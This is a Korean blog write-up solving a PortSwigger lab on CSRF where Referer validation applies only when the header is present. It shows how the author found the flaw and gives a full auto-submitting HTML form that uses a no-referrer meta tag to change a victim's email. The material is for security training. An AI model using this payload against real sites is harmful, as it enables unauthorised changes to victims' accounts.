WEB hacking/PortSwigger

Lab: CSRF where Referer validation depends on header being present 문제 풀이(WriteUp)

Roronoa 2025. 6. 22. 00:09
반응형

문제 설명

피해자의 이메일을 변경하면 문제를 해결할 수 있다.

문제 설명

문제 풀이

My Account 페이지에 접근하여 이메일 변경 요청을 진행한다.

이메일 변경 요청

 

이메일 변경 요청시 CSRF 토큰이 존재하지 않는다.

이메일 변경 요청 시 CSRF 토큰 미존재

 

Referer 헤더 변조 시 Referer 검증 로직이 존재하여 에러가 발생한다.

referer 검증 로직 존재

 

Referer 헤더가 포함되지 않은 요청에 대해서도 서버가 정상적으로 응답하므로, Referer 검증이 수행되지 않는 것으로 판단된다.

Referer 헤더 삭제 후 요청

 

POC

meta 태그 no-referrer 설정을 통해 referrer를 전송하지 않고 CSRF 공격을 수행한다.

<html>
  <head>
    <meta name="referrer" content="no-referrer">
  </head>
  <body>
    <form action="https://0ac1005c0353903e803a0d47005a0046.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="wiener123123&#64;normal&#45;user&#46;net" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

 

공격 코드를 피해자에게 전송하여 문제를 해결하였다.

문제 해결

반응형